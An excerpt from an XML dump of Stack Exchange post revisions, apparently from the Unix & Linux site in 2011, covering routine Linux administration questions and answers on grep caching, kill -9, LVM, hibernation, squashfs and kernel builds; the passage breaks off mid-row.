  <row Id="21111" PostHistoryTypeId="2" PostId="8912" RevisionGUID="e325d75e-4cac-47c7-9568-1d51f3341cfd" CreationDate="2011-03-09T09:27:06.137" UserId="4778" Text="If you want to share the other way around. Then set up a network share in the guest, and connect to in from the host. Note: Use a host only network interface. " />
  <row Id="21113" PostHistoryTypeId="2" PostId="8914" RevisionGUID="096b8198-de43-4af6-b9b8-ec70d162e686" CreationDate="2011-03-09T10:09:53.757" UserId="912" Text="I have noticed that subsequent runs of [`grep`][1] on the same query (and also a different query, but on the same file) are much faster than the first run (the effect is easily noticeable when searching through a big file).&#xD;&#xA;&#xD;&#xA;This suggests that grep uses some sort of caching of the structures used for search, but I could not find a reference on the Internet.&#xD;&#xA;&#xD;&#xA;What mechanism enables `grep` to return results faster in subsequent searches?&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Grep" />
  <row Id="21114" PostHistoryTypeId="1" PostId="8914" RevisionGUID="096b8198-de43-4af6-b9b8-ec70d162e686" CreationDate="2011-03-09T10:09:53.757" UserId="912" Text="Does grep use a cache to speed up the searches?" />
  <row Id="21115" PostHistoryTypeId="3" PostId="8914" RevisionGUID="096b8198-de43-4af6-b9b8-ec70d162e686" CreationDate="2011-03-09T10:09:53.757" UserId="912" Text="élinuxàégrepàécacheà" />
  <row Id="21116" PostHistoryTypeId="2" PostId="8915" RevisionGUID="afed318c-d3ac-4858-91b0-603fffd12cb7" CreationDate="2011-03-09T10:12:00.400" UserId="4719" Text="Not grep as such, but the filesystem itself often caches recently read data, causing later runs to go faster since grep is effectively searching in memory instead of disk." />
  <row Id="21117" PostHistoryTypeId="5" PostId="8820" RevisionGUID="4be5da0e-3fe2-428b-9a3d-aa34712f1868" CreationDate="2011-03-09T10:12:47.247" UserId="1131" Comment="links regarding performance" Text="If you only need one filesystem in your RAID then there are not real advantages of using LVM. Contrary, without LVM on top you get following advantages:&#xD;&#xA;&#xD;&#xA;* reduced overall complexity&#xD;&#xA;* better performance&#xD;&#xA;&#xD;&#xA;Btw, you can resize ext4 filesystems without LVM as well ( resize2fs(8) ).&#xD;&#xA;&#xD;&#xA;Regarding the performance impact of lvm, some people [report decreases by  5 %][1] other a [20 fold degradation][2] when snapshotting is involved, i.e. it depends on the lvm features/layouts you use and your usage pattern.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://thread.gmane.org/gmane.linux.lvm.general/4938/focus=4939&#xD;&#xA;  [2]: http://www.nikhef.nl/~dennisvd/lvmcrap.html" />
  <row Id="21118" PostHistoryTypeId="2" PostId="8916" RevisionGUID="6084ed85-7248-4935-8a52-05460bac24ad" CreationDate="2011-03-09T10:13:04.150" UserId="3169" Text="I am always very hesitant to run `kill -9`.&#xD;&#xA;&#xD;&#xA;But I see other admins do it almost routinely.&#xD;&#xA;&#xD;&#xA;I figure there is probably a sensible middle ground.&#xD;&#xA;&#xD;&#xA;So:&#xD;&#xA;&#xD;&#xA;1. When should `kill -9` be used?&#xD;&#xA;2. What should be tried before doing it?&#xD;&#xA;3. Is there any kind of debugging a &quot;hung&quot; process that could cause further problems?&#xD;&#xA;4. When should `kill -9` never be used?&#xD;&#xA;5. What bad things can happen if `kill -9` is used?" />
  <row Id="21119" PostHistoryTypeId="1" PostId="8916" RevisionGUID="6084ed85-7248-4935-8a52-05460bac24ad" CreationDate="2011-03-09T10:13:04.150" UserId="3169" Text="why not kill -9 a process?" />
  <row Id="21120" PostHistoryTypeId="3" PostId="8916" RevisionGUID="6084ed85-7248-4935-8a52-05460bac24ad" CreationDate="2011-03-09T10:13:04.150" UserId="3169" Text="élinuxàékillàéprocessömanagementà" />
  <row Id="21121" PostHistoryTypeId="2" PostId="8917" RevisionGUID="af01f3fd-fffb-47f7-aa4b-d0c3af099569" CreationDate="2011-03-09T10:20:35.180" UserId="1942" Text="Simple answer. First put LVM to the side.&#xD;&#xA;&#xD;&#xA;To make a separate /home make a partition on your hard drive, using either fdisk or gparted a gui wrapper for fdisk. The linux method of accessing partitions is straightforward. /dev/hda, /dev/hdb ... /dev/hd[a letter] are ide drives. /dev/sda,/dev/sdb, ... /dev/sd[a letter] are scsi/sata/usb drives. The last letter describes the order they appear. 1st sata /dev/sda 2nd sata /dev/sdb ...&#xD;&#xA;&#xD;&#xA;When you use fdisk or gparted to partition the drives, individual partitions are accessed by numbers ... /dev/sda1, /dev/sda2 ... . Format your partition &#xD;&#xA;&#xD;&#xA;So now edit /etc/fstab and enter something like&#xD;&#xA;/dev/sd?? /home 0 0 rw.&#xD;&#xA;&#xD;&#xA;I'm sorry I can't be more specific, my primary hd just died :( and I have no examples. ( On the plus side I was replacing it next week anyway, on the minus side couldn't it have held out another week? ) But between man and google you should get it done.&#xD;&#xA;&#xD;&#xA;Also you shouldn't change the boundaries of any partitions with data on them by using fdisk. If you are familiar with Partition Magic, gparted is a similar tool and can be used to resize and move partitions safely. There is also a liveCD called Parted magic which will allow you to resize partitions.&#xD;&#xA;&#xD;&#xA;It has been standard UNIX practice to keep as many partitions as you feasibly could. Typically /,/home,/tmp,/root, /var are seperately partitions. On Linux I add /boot ( since in the old days /boot had to be in the ext family).&#xD;&#xA;&#xD;&#xA;There are several reasons for this: it made backups easier ( just backup all of sopme of the partitions ), if a partition became corrupted it kept the damage local, it kept the fragmentations of partitions to a low. With more modern filesystems, I am not sure how relevant these reasons are anymore.&#xD;&#xA;&#xD;&#xA;let me as an example assume that some program  keeps some of it's temporary data in /tmp and it has a bug which causes it to just fill /tmp. This will cause programs to act flakey, but probably not crash the system and give you a cance to repair the damage. If your whole system were on one partition, it could cause a lot more problems. Maybe even force you to try and repair the damage from a liveCD.&#xD;&#xA;&#xD;&#xA;As for LVM. LVM basically creates a partition and then   allows you to make some subpartitions from it. If you need more space then if there is more free space you can use it to grow your subpartitions. If you run out of space you can add a second partition to the volume to make more available. My one experience indicated it caused more problems then it's worth and chewed up more CPU then I liked, but YMMV. Also if you have a problem and have to use a liveCD, you have to be careful to pick one which can access your LVM partitions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21122" PostHistoryTypeId="2" PostId="8918" RevisionGUID="f912acc2-c279-4c0a-9d45-3b81a2e34fb5" CreationDate="2011-03-09T10:26:48.500" UserId="5325" Text="Generally, you should use `kill -15` before `kill -9` so as to give the program a chance to clean up after itself.  (Programs can't catch or ignore `SIGKILL`, but they can and often do catch `SIGTERM`.)  If you don't give the program a chance to finish what it's doing and clean up, it may leave corrupted files around that it won't be able to understand once restarted.&#xD;&#xA;&#xD;&#xA;`strace`/`truss`, `ltrace` (`truss -u` on Solaris, where it's a bit more helpful; `ltrace` I find too often doesn't present arguments to library calls in a usable format), and `gdb` are generally good ideas for looking at why a stuck program is stuck.  There are also useful `/proc`-based tools on Solaris, some of which have been ported to Linux (`pstack` is often helpful)." />
  <row Id="21123" PostHistoryTypeId="2" PostId="8919" RevisionGUID="66e055e7-86be-49af-9391-abb3e55bfbc6" CreationDate="2011-03-09T10:29:26.157" UserId="1942" Text="Never never do a kill -9 1.&#xD;&#xA;Also avoid doing a kill on certain processes like mount.&#xD;&#xA;When I have to kill a lot of processes ( say for example an X session gets hung and I have to kill all the processes of a certain user ), I reverse the order of the processes: eg.&#xD;&#xA;&#xD;&#xA;ps -ef|remove all processes not matching a certain criteria| awk '{print $2}'|ruby -e '$A=stdin.readlines; A.reverse.each{|a| puts &quot;kill -9 #{a}&quot;}'|bash&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Keep in mind that kill does not stop a process and release it's resources.&#xD;&#xA;All it does is send a SIGKILL signal to the process, you could wind up with a process that's hung.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21124" PostHistoryTypeId="5" PostId="8827" RevisionGUID="db8a7150-0232-46b9-aed7-52d33feb055b" CreationDate="2011-03-09T10:47:57.563" UserId="4778" Comment="added 1804 characters in body" Text="I have Debian 6, I have also seen this under Ubuntu (can not remember how I fixed it).&#xD;&#xA;&#xD;&#xA;I can hibernate, but when I switch on the system cold boots (it does not restore previous session).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I just started looking and can't find `/usr/lib/hal/scripts/linux/hal-system-power-hibernate-linux` or `/usr/lib/hal` I searched for power files (is it all there?:&#xD;&#xA;&#xD;&#xA;    find /usr/lib -iname &quot;*power*&quot;&#xD;&#xA;    /usr/lib/libupower-glib.so.1&#xD;&#xA;    /usr/lib/klibc/bin/poweroff&#xD;&#xA;    /usr/lib/python2.6/dist-packages/axiom/test/test_powerup.pyc&#xD;&#xA;    /usr/lib/python2.6/dist-packages/axiom/test/test_powerup.py&#xD;&#xA;    /usr/lib/upower&#xD;&#xA;    /usr/lib/upower/upowerd&#xD;&#xA;    /usr/lib/libupower-glib.so.1.0.1&#xD;&#xA;    /usr/lib/gnome-power-manager&#xD;&#xA;    /usr/lib/pymodules/python2.6/OpenGL/raw/GL/ARB/texture_non_power_of_two.pyc&#xD;&#xA;    /usr/lib/pymodules/python2.6/OpenGL/raw/GL/ARB/texture_non_power_of_two.py&#xD;&#xA;    /usr/lib/pymodules/python2.6/OpenGL/GL/ARB/texture_non_power_of_two.pyc&#xD;&#xA;    /usr/lib/pymodules/python2.6/OpenGL/GL/ARB/texture_non_power_of_two.py&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/servers/switch_power_server.py&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/servers/switch_power_server.pyc&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/clients/switch_power_client.pyc&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/clients/test/test_switch_power_client.py&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/clients/test/test_switch_power_client.pyc&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/clients/switch_power_client.py&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/core/xml-service-descriptions/SwitchPower1.xml&#xD;&#xA;    /usr/lib/pm-utils/power.d&#xD;&#xA;    /usr/lib/pm-utils/power.d/sched-powersave&#xD;&#xA;    /usr/lib/pm-utils/sleep.d/00powersave&#xD;&#xA;    /usr/lib/rhythmbox/plugins/power-manager&#xD;&#xA;    /usr/lib/rhythmbox/plugins/power-manager/libpower-manager.so&#xD;&#xA;    /usr/lib/rhythmbox/plugins/power-manager/power-manager.rb-plugin&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21128" PostHistoryTypeId="5" PostId="8892" RevisionGUID="3e0dc51f-7ece-4119-a310-00eb77e83ed6" CreationDate="2011-03-09T10:52:12.127" UserId="2559" Comment="added 34 characters in body" Text="I'm trying to use a grep command with the --only-matching flag, but it's not behaving as I would expect it to.&#xD;&#xA;&#xD;&#xA;This command:&#xD;&#xA;&#xD;&#xA;`echo &quot;1/2/3/4/5&quot; | grep -oE &quot;^([^/]+/){0,2}&quot;`&#xD;&#xA;&#xD;&#xA;Gives this output:&#xD;&#xA;&#xD;&#xA;    1/2/&#xD;&#xA;    3/4/&#xD;&#xA;&#xD;&#xA;I was expecting just `1/2/`&#xD;&#xA;&#xD;&#xA;What's going on..? `3/4/` shouldn't match `&quot;^([^/]+/){0,2}&quot;` because it's not at the beginning of the line..&#xD;&#xA;&#xD;&#xA;(*running GNU grep **2.5.1***)" />
  <row Id="21129" PostHistoryTypeId="2" PostId="8921" RevisionGUID="c65f891c-f7d2-4a3a-b3a8-ece3ba753463" CreationDate="2011-03-09T10:58:43.277" UserId="4812" Text="How can i view the kernel's share of memory on a machine? How can I increase it? What should I consider before doing it?" />
  <row Id="21130" PostHistoryTypeId="1" PostId="8921" RevisionGUID="c65f891c-f7d2-4a3a-b3a8-ece3ba753463" CreationDate="2011-03-09T10:58:43.277" UserId="4812" Text="How to view and change kernel memory size?" />
  <row Id="21131" PostHistoryTypeId="3" PostId="8921" RevisionGUID="c65f891c-f7d2-4a3a-b3a8-ece3ba753463" CreationDate="2011-03-09T10:58:43.277" UserId="4812" Text="ékernelàémemoryà" />
  <row Id="21132" PostHistoryTypeId="5" PostId="8890" RevisionGUID="a17a68c6-a427-43e5-a902-1de13bd23391" CreationDate="2011-03-09T11:12:11.610" UserId="2559" Comment="added 62 characters in body" Text="This command takes each path and truncates it to the top `n` folders. It's then piped into `uniq` to.. you guessed it, filter out the duplicates.&#xD;&#xA;&#xD;&#xA;`rsync -nPaAXz src_dir dst_dir | sed -n 's@^\(\([^/][^/]*/\)\{0,2\}\).*@\1@p' | uniq`&#xD;&#xA;&#xD;&#xA;Another way is like this:&#xD;&#xA;&#xD;&#xA;`rsync -nPaAXz src_dir dst_dir | grep -oE &quot;^([^/]+/){0,2}&quot;`&#xD;&#xA;&#xD;&#xA;But there's a big in older versions of grep meaning the above wont work..&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If anyone has any better solutions please let me know!" />
  <row Id="21133" PostHistoryTypeId="25" PostId="8916" RevisionGUID="3972d2a8-bc4c-4599-9adb-68f61e1c0d74" CreationDate="2011-03-09T11:23:39.143" Comment="http://twitter.com/#!/StackUnix/status/45444632347291648" />
  <row Id="21134" PostHistoryTypeId="2" PostId="8922" RevisionGUID="4882227a-2179-4d84-85b3-3b34bb8c9e80" CreationDate="2011-03-09T11:31:52.367" UserId="688" Text="I would like to have a look at the files the [dconf-editor][1] uses to read/write settings, and I'm assuming that they are managed by gsettings. Where are these files stored on the system, and in what format?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://live.gnome.org/dconf" />
  <row Id="21135" PostHistoryTypeId="1" PostId="8922" RevisionGUID="4882227a-2179-4d84-85b3-3b34bb8c9e80" CreationDate="2011-03-09T11:31:52.367" UserId="688" Text="Where does GSettings store its files?" />
  <row Id="21136" PostHistoryTypeId="3" PostId="8922" RevisionGUID="4882227a-2179-4d84-85b3-3b34bb8c9e80" CreationDate="2011-03-09T11:31:52.367" UserId="688" Text="égtkàésettingsà" />
  <row Id="21139" PostHistoryTypeId="5" PostId="8810" RevisionGUID="4a0ede25-a4ef-4f6d-b1e7-4436fc6f3abd" CreationDate="2011-03-09T11:49:59.177" UserId="3860" Comment="added 1 characters in body" Text="Sounds very much like there is a problem starting X, especially if you were messing around with xorg.conf.&#xD;&#xA;&#xD;&#xA;Deleting xorg.conf should solve the problem, also you should check `/var/log/Xorg.0.log` for errors." />
  <row Id="21141" PostHistoryTypeId="2" PostId="8925" RevisionGUID="3aad891c-f70e-4f26-905e-74e2c3e4dbec" CreationDate="2011-03-09T12:21:35.247" UserId="2180" Text="Mount the squashfs:&#xD;&#xA;&#xD;&#xA;    mkdir /mnt/squishy&#xD;&#xA;    mount mfs.sqash /mnt/squishy -t squashfs -o loop&#xD;&#xA;&#xD;&#xA;Copy the squashfs to another place:&#xD;&#xA;&#xD;&#xA;    mkdir /tmp/squooshtacular&#xD;&#xA;    find /mnt/squishy -xdev -print0 | cpio -pa0V /tmp/squooshtacular&#xD;&#xA;&#xD;&#xA;Copy the new files into place:&#xD;&#xA;&#xD;&#xA;    cp ./a.foo /tmp/squooshtacular/a.foo&#xD;&#xA;&#xD;&#xA;Make the new squashfs:&#xD;&#xA;&#xD;&#xA;    mksquashfs /tmp/squooshtacular mfs_with_bbq_sauce.squash" />
  <row Id="21142" PostHistoryTypeId="4" PostId="8907" RevisionGUID="8ec4eba7-bd7c-46d9-b157-3bd6ab678809" CreationDate="2011-03-09T12:22:52.283" UserId="651" Comment="Fix 'squasfs' typo" Text="Modifying a squashfs," />
  <row Id="21143" PostHistoryTypeId="24" PostId="8907" RevisionGUID="8ec4eba7-bd7c-46d9-b157-3bd6ab678809" CreationDate="2011-03-09T12:22:52.283" Comment="Proposed by 651 approved by 2180 edit id of 188" />
  <row Id="21144" PostHistoryTypeId="2" PostId="8926" RevisionGUID="2089e1a2-17fd-4222-8906-ae4c59de6959" CreationDate="2011-03-09T12:23:31.050" UserId="5213" Text="How can I install Chrome on Linux without needing to log in as root?&#xD;&#xA;&#xD;&#xA;Note that I want to use Chrome, not Chromium.&#xD;&#xA;&#xD;&#xA;If I go to the official download page, I get the choice between:&#xD;&#xA;&#xD;&#xA;    Please select your download package:&#xD;&#xA;    32 bit .deb (For Debian/Ubuntu)&#xD;&#xA;    64 bit .deb (For Debian/Ubuntu)&#xD;&#xA;    32 bit .rpm (For Fedora/openSUSE)&#xD;&#xA;    64 bit .rpm (For Fedora/openSUSE) &#xD;&#xA;&#xD;&#xA;Can I somehow extract and install Chrome from the .deb or the .rpm without needing to be root?  Or is there another link that I missed?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21145" PostHistoryTypeId="1" PostId="8926" RevisionGUID="2089e1a2-17fd-4222-8906-ae4c59de6959" CreationDate="2011-03-09T12:23:31.050" UserId="5213" Text="Installing Chrome on Linux without needing to be root" />
  <row Id="21146" PostHistoryTypeId="3" PostId="8926" RevisionGUID="2089e1a2-17fd-4222-8906-ae4c59de6959" CreationDate="2011-03-09T12:23:31.050" UserId="5213" Text="élinuxàéchromeàénotörootöuserà" />
  <row Id="21147" PostHistoryTypeId="6" PostId="8907" RevisionGUID="3f3322dc-f2f0-4af6-beb4-515dce996421" CreationDate="2011-03-09T12:23:38.553" UserId="2180" Comment="edited tags" Text="élinuxàéfilesystemsà" />
  <row Id="21148" PostHistoryTypeId="5" PostId="8827" RevisionGUID="fff9a2a7-35a9-46c7-b446-d71cf95a47bc" CreationDate="2011-03-09T12:24:00.143" UserId="4778" Comment="added 87 characters in body; added 2 characters in body; added 6 characters in body" Text="I have Debian 6, I have also seen this under Ubuntu (can not remember how I fixed it).&#xD;&#xA;&#xD;&#xA;I can hibernate, but when I switch on the system cold boots (it does not restore previous session).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;Installed package hibernate, as was thinking it may be needed, but made no difference.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I just started looking and can't find `/usr/lib/hal/scripts/linux/hal-system-power-hibernate-linux` or `/usr/lib/hal` I searched for power files (is it all there?:&#xD;&#xA;&#xD;&#xA;    find /usr/lib -iname &quot;*power*&quot;&#xD;&#xA;    /usr/lib/libupower-glib.so.1&#xD;&#xA;    /usr/lib/klibc/bin/poweroff&#xD;&#xA;    /usr/lib/python2.6/dist-packages/axiom/test/test_powerup.pyc&#xD;&#xA;    /usr/lib/python2.6/dist-packages/axiom/test/test_powerup.py&#xD;&#xA;    /usr/lib/upower&#xD;&#xA;    /usr/lib/upower/upowerd&#xD;&#xA;    /usr/lib/libupower-glib.so.1.0.1&#xD;&#xA;    /usr/lib/gnome-power-manager&#xD;&#xA;    /usr/lib/pymodules/python2.6/OpenGL/raw/GL/ARB/texture_non_power_of_two.pyc&#xD;&#xA;    /usr/lib/pymodules/python2.6/OpenGL/raw/GL/ARB/texture_non_power_of_two.py&#xD;&#xA;    /usr/lib/pymodules/python2.6/OpenGL/GL/ARB/texture_non_power_of_two.pyc&#xD;&#xA;    /usr/lib/pymodules/python2.6/OpenGL/GL/ARB/texture_non_power_of_two.py&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/servers/switch_power_server.py&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/servers/switch_power_server.pyc&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/clients/switch_power_client.pyc&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/clients/test/test_switch_power_client.py&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/clients/test/test_switch_power_client.pyc&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/clients/switch_power_client.py&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/core/xml-service-descriptions/SwitchPower1.xml&#xD;&#xA;    /usr/lib/pm-utils/power.d&#xD;&#xA;    /usr/lib/pm-utils/power.d/sched-powersave&#xD;&#xA;    /usr/lib/pm-utils/sleep.d/00powersave&#xD;&#xA;    /usr/lib/rhythmbox/plugins/power-manager&#xD;&#xA;    /usr/lib/rhythmbox/plugins/power-manager/libpower-manager.so&#xD;&#xA;    /usr/lib/rhythmbox/plugins/power-manager/power-manager.rb-plugin&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21149" PostHistoryTypeId="2" PostId="8927" RevisionGUID="3be2a02f-2a9f-445c-9e14-d3531a4ad5b1" CreationDate="2011-03-09T12:29:01.293" UserId="2180" Text="Randal Schwartz used to frequently post &quot;Useless use of (x)&quot; on lists. One such post was about `kill -9`. It includes reasons and a recipe to follow. [Here is a reconstructed version][1] (quoted below).&#xD;&#xA;&#xD;&#xA;&gt; (Quote abomination)&#xD;&#xA;&gt; &#xD;&#xA;&gt;     No no no.  Don't use kill -9.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     It doesn't give the process a chance to cleanly:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     1) shut down socket connections&#xD;&#xA;&gt; &#xD;&#xA;&gt;     2) clean up temp files&#xD;&#xA;&gt; &#xD;&#xA;&gt;     3) inform its children that it is going away&#xD;&#xA;&gt; &#xD;&#xA;&gt;     4) reset its terminal characteristics&#xD;&#xA;&gt; &#xD;&#xA;&gt;     and so on and so on and so on.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     Generally, send 15, and wait a second or two, and if that doesn't&#xD;&#xA;&gt;     work, send 2, and if that doesn't work, send 1.  If that doesn't,&#xD;&#xA;&gt;     REMOVE THE BINARY because the program is badly behaved!&#xD;&#xA;&gt; &#xD;&#xA;&gt;     Don't use kill -9.  Don't bring out the combine harvester just to tidy&#xD;&#xA;&gt;     up the flower pot.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     Just another Useless Use of Usenet,&#xD;&#xA;&gt; &#xD;&#xA;&gt; (.signature)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://partmaps.org/era/unix/award.html#uuk9letter" />
  <row Id="21150" PostHistoryTypeId="2" PostId="8928" RevisionGUID="5634a6c7-0fb7-4053-8816-d35d264eaf7d" CreationDate="2011-03-09T12:41:52.293" UserId="36" Text="Memory for what?&#xD;&#xA;&#xD;&#xA;You can adjust kernel parameters in /etc/sysctl.conf&#xD;&#xA;&#xD;&#xA;try running&#xD;&#xA;&#xD;&#xA;    sysctl -a | egrep -i &quot;(vm|page|mem|shm)&quot;&#xD;&#xA;&#xD;&#xA;for some example kernel memory-related parameters" />
  <row Id="21151" PostHistoryTypeId="5" PostId="8827" RevisionGUID="1b9395fe-8d72-4e8a-9105-8de48eb7a94e" CreationDate="2011-03-09T12:44:11.117" UserId="4778" Comment="added 25 characters in body; added 6 characters in body" Text="I have Debian 6, I have also seen this under Ubuntu (can not remember how I fixed it).&#xD;&#xA;&#xD;&#xA;I can hibernate, but when I switch on the system cold boots (it does not restore previous session). ***Note suspend works fine.***&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;Installed package hibernate, as was thinking it may be needed, but made no difference.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I just started looking and can't find `/usr/lib/hal/scripts/linux/hal-system-power-hibernate-linux` or `/usr/lib/hal` I searched for power files (is it all there?:&#xD;&#xA;&#xD;&#xA;    find /usr/lib -iname &quot;*power*&quot;&#xD;&#xA;    /usr/lib/libupower-glib.so.1&#xD;&#xA;    /usr/lib/klibc/bin/poweroff&#xD;&#xA;    /usr/lib/python2.6/dist-packages/axiom/test/test_powerup.pyc&#xD;&#xA;    /usr/lib/python2.6/dist-packages/axiom/test/test_powerup.py&#xD;&#xA;    /usr/lib/upower&#xD;&#xA;    /usr/lib/upower/upowerd&#xD;&#xA;    /usr/lib/libupower-glib.so.1.0.1&#xD;&#xA;    /usr/lib/gnome-power-manager&#xD;&#xA;    /usr/lib/pymodules/python2.6/OpenGL/raw/GL/ARB/texture_non_power_of_two.pyc&#xD;&#xA;    /usr/lib/pymodules/python2.6/OpenGL/raw/GL/ARB/texture_non_power_of_two.py&#xD;&#xA;    /usr/lib/pymodules/python2.6/OpenGL/GL/ARB/texture_non_power_of_two.pyc&#xD;&#xA;    /usr/lib/pymodules/python2.6/OpenGL/GL/ARB/texture_non_power_of_two.py&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/servers/switch_power_server.py&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/servers/switch_power_server.pyc&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/clients/switch_power_client.pyc&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/clients/test/test_switch_power_client.py&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/clients/test/test_switch_power_client.pyc&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/services/clients/switch_power_client.py&#xD;&#xA;    /usr/lib/pymodules/python2.6/coherence/upnp/core/xml-service-descriptions/SwitchPower1.xml&#xD;&#xA;    /usr/lib/pm-utils/power.d&#xD;&#xA;    /usr/lib/pm-utils/power.d/sched-powersave&#xD;&#xA;    /usr/lib/pm-utils/sleep.d/00powersave&#xD;&#xA;    /usr/lib/rhythmbox/plugins/power-manager&#xD;&#xA;    /usr/lib/rhythmbox/plugins/power-manager/libpower-manager.so&#xD;&#xA;    /usr/lib/rhythmbox/plugins/power-manager/power-manager.rb-plugin&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21152" PostHistoryTypeId="2" PostId="8929" RevisionGUID="0005c197-37c8-474a-8ed4-ae9968bd9238" CreationDate="2011-03-09T13:00:28.980" UserId="4319" Text="One known way to achieve isolation is through [the seccomp sandboxing approach used in Google Chromium](http://www.imperialviolet.org/2009/08/26/seccomp.html). But this approach supposes that you write a helper which would process some (the allowed ones) of the &quot;intercepted&quot; file access and other syscalls; and also, of course, make effort to &quot;intercept&quot; the syscalls and redirect them to the helper.&#xD;&#xA;" />
  <row Id="21153" PostHistoryTypeId="2" PostId="8930" RevisionGUID="5238d0d8-bf51-4dbd-ac14-7f74550c625a" CreationDate="2011-03-09T13:04:02.907" UserId="5168" Text="I am building Linux Kernel 2.6.36.4 on a Dell Laptop which has Linux Kernel 2.6.35.11 running.&#xD;&#xA;&#xD;&#xA;BTW I got the source from kernel.org.&#xD;&#xA;&#xD;&#xA;The source had few syntax errors which I fixed in the process and finished building Kernel.&#xD;&#xA;&#xD;&#xA;After reboot, I kept on getting this error:&#xD;&#xA;&#xD;&#xA;&gt; RAMDISK: incomplete error(6022 !=&#xD;&#xA;&gt; 28860)  &#xD;&#xA;write error  &#xD;&#xA;Kernel Panic - not&#xD;&#xA;&gt; syncing: VFS: Unable to mount root fs&#xD;&#xA;&gt; on unknown-block(0, 0)  &#xD;&#xA;Pid: 1, comm: swapper Not tainted 2.6.36.4 #2  &#xD;&#xA;Call Trace:  &#xD;&#xA;? printk....  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I followed following steps while building the source: &#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;&gt;  1. tar xvf linux-2.6.36.4.tar.bz2 &#xD;&#xA;&gt;  2. sudo cp  /boot/config-2.6.35.11generic&#xD;&#xA;&gt; ~/linux-2.6.36.4/.config&#xD;&#xA;&gt;  3. cd ~/linux-2.6.36.4&#xD;&#xA;&gt;  4. make menuconfig&#xD;&#xA;&gt;  5. sudo make&#xD;&#xA;&gt;  6. sudo make modules_install&#xD;&#xA;&gt;  7. sudo make install&#xD;&#xA;&gt;  8. sudo update-initramfs -k  2.6.36.4 -c&#xD;&#xA;&gt;  9. sudo update-grub&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;After a few attempts to search on this over internet, I tried following things:&#xD;&#xA;&#xD;&#xA; - After reboot with working kernel, ran `sudo update-initramfs -u -k all`&#xD;&#xA; - Ran `fsck` &#xD;&#xA;&#xD;&#xA;However I still get this error for every attempt to boot using 2.6.36.4&#xD;&#xA;&#xD;&#xA;Has anybody come across such an issue and what do you suggest in this context?&#xD;&#xA;&#xD;&#xA;Thank you in advance!&#xD;&#xA;&#xD;&#xA; " />
  <row Id="21154" PostHistoryTypeId="1" PostId="8930" RevisionGUID="5238d0d8-bf51-4dbd-ac14-7f74550c625a" CreationDate="2011-03-09T13:04:02.907" UserId="5168" Text="RAMDISK incomplete write error kernel panic" />
  <row Id="21155" PostHistoryTypeId="3" PostId="8930" RevisionGUID="5238d0d8-bf51-4dbd-ac14-7f74550c625a" CreationDate="2011-03-09T13:04:02.907" UserId="5168" Text="élinuxàékernelàékernelöpanicàéinitramfsà" />
  <row Id="21156" PostHistoryTypeId="5" PostId="8827" RevisionGUID="84d2a835-51ff-4755-930c-516ca0aaef69" CreationDate="2011-03-09T13:07:03.050" UserId="4778" Comment="added 218 characters in body; edited body" Text="I have Debian 6, I have also seen this under Ubuntu (can not remember how I fixed it).&#xD;&#xA;&#xD;&#xA;I can hibernate, but when I switch on the system cold boots (it does not restore previous session). &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;***Note suspend works fine.***&#xD;&#xA;Have looked in `/var/log/pm-suspend.log`&#xD;&#xA;Shows for each `suspend suspend` block a `resume suspend` block, but `hibernate hibernate' is not followed by `resume hibernate` ( I assume that is what is expected.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;Installed package hibernate, as was thinking it may be needed, but made no difference.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I just started looking and can't find `/usr/lib/hal/scripts/linux/hal-system-power-hibernate-linux` or `/usr/lib/hal` I searched for power files (is it all 